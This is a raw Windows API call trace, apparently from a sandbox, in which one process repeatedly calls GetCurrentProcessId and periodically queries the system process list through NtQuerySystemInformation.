[0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.198] GetCurrentProcessId () returned 0xbf4 [0187.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c9f0) returned 0x0 [0187.918] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.919] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.920] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.921] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.922] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.923] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.924] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.925] GetCurrentProcessId () returned 0xbf4 [0187.926] GetCurrentProcessId () returned 0xbf4 [0187.926] GetCurrentProcessId () returned 0xbf4 [0188.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.660] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.661] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.662] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0188.663] GetCurrentProcessId () returned 0xbf4 [0189.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0190.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cdc8) returned 0x0 [0190.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cdc8) returned 0x0 [0191.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cf08) returned 0x0 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.997] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.998] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0192.999] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.000] GetCurrentProcessId () returned 0xbf4 [0193.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d048) returned 0x0 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.810] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.811] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.812] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.813] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0193.814] GetCurrentProcessId () returned 0xbf4 [0194.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1d0e8) returned 0x0 [0194.508] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.509] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.510] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 [0194.511] GetCurrentProcessId () returned 0xbf4 